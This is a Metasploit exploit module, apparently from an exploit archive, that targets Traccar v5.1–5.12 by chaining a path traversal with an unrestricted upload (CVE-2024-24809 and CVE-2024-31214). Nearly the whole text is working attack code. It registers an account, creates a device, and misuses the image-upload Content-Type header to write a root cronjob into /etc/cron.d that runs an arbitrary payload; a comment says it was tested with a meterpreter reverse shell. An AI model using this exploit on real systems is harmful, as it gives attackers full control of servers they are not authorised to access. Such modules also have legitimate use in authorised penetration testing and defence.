## https://sploitus.com/exploit?id=1337DAY-ID-39759
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
'Description' => %q{
Remote Code Execution in Traccar v5.1 - v5.12.
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
],
'References' => [
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
[ 'CVE', '2024-31214'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-08-23',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
'Type' => :unix_cmd
}
]
],
'Payload' => {
'BadChars' => "\x27" # apostrophe (')
},
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 75
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)
register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server')
})
return CheckCode::Unknown unless res && res.code == 200
data = res.get_json_document
version = data['version']
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
return CheckCode::Safe
end
return CheckCode::Appears
end
def exploit
prepare_setup
execute_command(payload.encoded)
end
def prepare_setup
print_status('Registering new user...')
body = {
name: datastore['USERNAME'],
email: datastore['EMAIL'],
password: datastore['PASSWORD'],
totpKey: nil
}.to_json
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
auth_status = false
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
# to run into when this module is executed more than once without updating the provided email address
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')
fail_with(Failure::UnexpectedReply, res.to_s)
end
auth_status = true
end
unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end
json = res.get_json_document
unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
if auth_status == false
print_status('Authenticating...')
res = send_request_cgi(
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
end
end
def execute_command(cmd)
name_v = Rex::Text.rand_text_alphanumeric(16)
unique_id_v = Rex::Text.rand_text_alphanumeric(16)
body = {
name: name_v,
uniqueId: unique_id_v
}.to_json
print_status('Adding new device...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/devices'),
'keep_cookies' => true,
'ctype' => 'application/json',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
json = res.get_json_document
unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end
id = json['id'].to_s
body = Rex::Text.rand_text_alphanumeric(1..4)
fn = Rex::Text.rand_text_alpha(1..2)
print_status('Uploading crontab file...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => 'image/png',
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?('device.png')
fail_with(Failure::UnexpectedReply, res.to_s)
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/b\"",
'data' => body
)
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
body = "* * * * * root /bin/bash -c '#{cmd}'\n"
cronfn = SecureRandom.hex(12)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'keep_cookies' => true,
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
'data' => body
)
register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")
unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end
vprint_status('Cleanup: Deleting previously added device...')
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),
'headers' => {
'Connection' => 'close'
}
)
unless res
print_bad('Failed to receive a reply from the server, device removal might have failed.')
end
unless res.code == 204
print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)
end
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
print_status('Cronjob successfully written - waiting for execution...')
end
end